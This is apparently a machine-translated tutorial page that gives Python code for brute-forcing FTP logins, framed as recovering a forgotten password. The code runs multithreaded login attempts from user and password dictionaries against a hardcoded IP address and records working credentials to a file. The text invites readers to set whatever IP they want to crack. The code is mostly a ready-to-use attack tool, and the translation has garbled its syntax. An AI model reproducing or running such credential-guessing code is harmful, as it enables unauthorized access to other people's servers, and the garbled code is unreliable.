Forgot ftp password use Python ftplib library brute force Password Method Example

Source: Internet
Author: User
Python specific powerful library files, many features have corresponding library files, so it is necessary to learn, which has an FTP corresponding library file Ftplib, we only need the login function, and then use multi-threaded call the corresponding dictionary fields to log in, but also according to their own needs, According to their own situation to write the necessary procedures, let the program instead of us to do some tedious repetitive work.

Below the code directly, here is the main file

Copy the Code code as follows:


Import OS
Import time
Import threading

Class Mythread (threading. Thread):
def __init__ (Self,command):
Threading. Thread.__init__ (self)
Self.command=command
def run (self):
Kk=os.system (Self.command)
Ushand=open ("User.txt", "R")
Pshand=open ("Passwd.txt", "R")
Listuser=[]
Listpass=[]
For us in open ("User.txt", "R"):
Lineus=ushand.readline (). strip (' \ n ')
Listuser.append (Lineus)
For PS in open ("Passwd.txt", "R"):
Lineps=pshand.readline (). strip (' \ n ')
Listpass.append (Lineps)
For I in Listuser:
For J in Listpass:
Command= "ftp.py%s%s"% (I,J)
Print command
My_thread=mythread (command)
My_thread.start ()
Time.sleep (0.1)

The code in the corresponding ftp.py file is as follows

Copy the Code code as follows:


Import Ftplib
Import socket
Import Sys
Ftp=ftplib. FTP (' 121.54.175.204′)
Try
USER=SYS.ARGV[1]
PASSWD=SYS.ARGV[2]
Ftp.login (USER,PASSWD)
Hand=open (' Aa.txt ', ' A + ')
Hand.write (user+ ":" +passwd+ "\ n")
Except Ftplib.error_perm:
Print "passwd is World"



Two files are required, User.txt and Passwd.txt, respectively, which are the user name and the dictionary of the account.

The code in which the FTP cracked IP can be modified to their own to crack the IP, the last correct account and password will be entered into the Aa.txt file.

  • Related Article

    Contact Us

    The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

    If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

    A Free Trial That Lets You Build Big!

    Start building with 50+ products and up to 12 months usage for Elastic Compute Service

    • Sales Support

      1 on 1 presale consultation

    • After-Sales Support

      24/7 Technical Support 6 Free Tickets per Quarter Faster Response

    • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.